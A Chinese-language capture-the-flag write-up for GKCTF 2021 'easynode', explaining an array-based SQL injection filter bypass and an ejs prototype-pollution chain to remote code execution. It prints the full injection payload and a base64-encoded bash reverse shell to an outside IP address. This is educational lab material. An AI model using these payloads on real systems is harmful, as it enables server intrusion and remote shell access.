[GKCTF 2021]easynode
知识点
- 深入理解 JavaScript Prototype 污染攻击
- Javascript 原型链污染 分析
-
Express+lodash+ejs: 从原型链污染到RCE
解题步骤
看一波源码
et safeQuery = async (username,password)=>{ const waf = (str)=>{ // console.log(str); blacklist = ['\\','\^',')','(','\"','\''] blacklist.forEach(element => { if (str == element){ str = "*"; } }); return str; } const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){ if (waf(str[i]) =="*"){ str = str.slice(0, i) + "*" + str.slice(i + 1, str.length); } } return str; } username = safeStr(username); password = safeStr(password); let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20)); // console.log(sql); result = JSON.parse(JSON.stringify(await select(sql))); return result; }
在safeStr这里,对输入的参数,按下标进行过滤,而且用*代替。
如果传入字符串,确实会被过滤,但是如果输入字符串数组,就可以绕过了。
但是数组对象没有substr方法,所以还需要一个过滤字符来触发字符拼接,这样就会隐性转换为string了。
当数组合为字符串并再一次放入waf检测时,由于i值过小,导致'放入waf,所以数组长度要长一点。
payload:username[]=admin'#&username[]=a&username[]=a&username[]=a&username[]=a&username[]=a&username[]=a&username[]=a&username[]=a&username[]=(&password=asd
然后登录。
在app.post("/adminDIV",async(req,res,next) =>{ const token = req.cookies.token var data = JSON.parse(req.body.data) let result = verifyToken(token); if(result !='err'){ username = result; var sql ='select board from board'; var query = JSON.parse(JSON.stringify(await select(sql).then(close()))); board = JSON.parse(query[0].board); console.log(board); for(var key in data){ var addDIV =
{"${username}":{"${key}":"${data[key]}"}}
; extend(board,JSON.parse(addDIV)); } sql =update board SET board = '${JSON.stringify(board)}' where username = '${username}'
select(sql).then(close()).catch( (err)=>{console.log(err)}); res.json({"msg":'addDiv successful!!!'}); } else{ res.end('nonono'); } });
addDIV这里有原型链污染,来自ejs的extend。(详细看文章)
需要添加一个username为__proto__
的用户,从而触发ejs的原型链污染。
在/addAdmin这里,post:username=__proto__&password=asd
然后登录这个用户,在这个用户登录情况下,在/adminDIV路径中,post:
data={"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('echo%20YmFzaCAtYyAiYmFzaCAtaSA%2BJiAvZGV2L3RjcC80Ny45Ni4xNzMuMTE2LzIzMzMgMD4mMSI%3D%7Cbase64%20-d%7Cbash');var __tmp2"}
之后回到/admin就会触发渲染反弹shell,cat /flag
即可(不要切换用户,要不然可能会失败)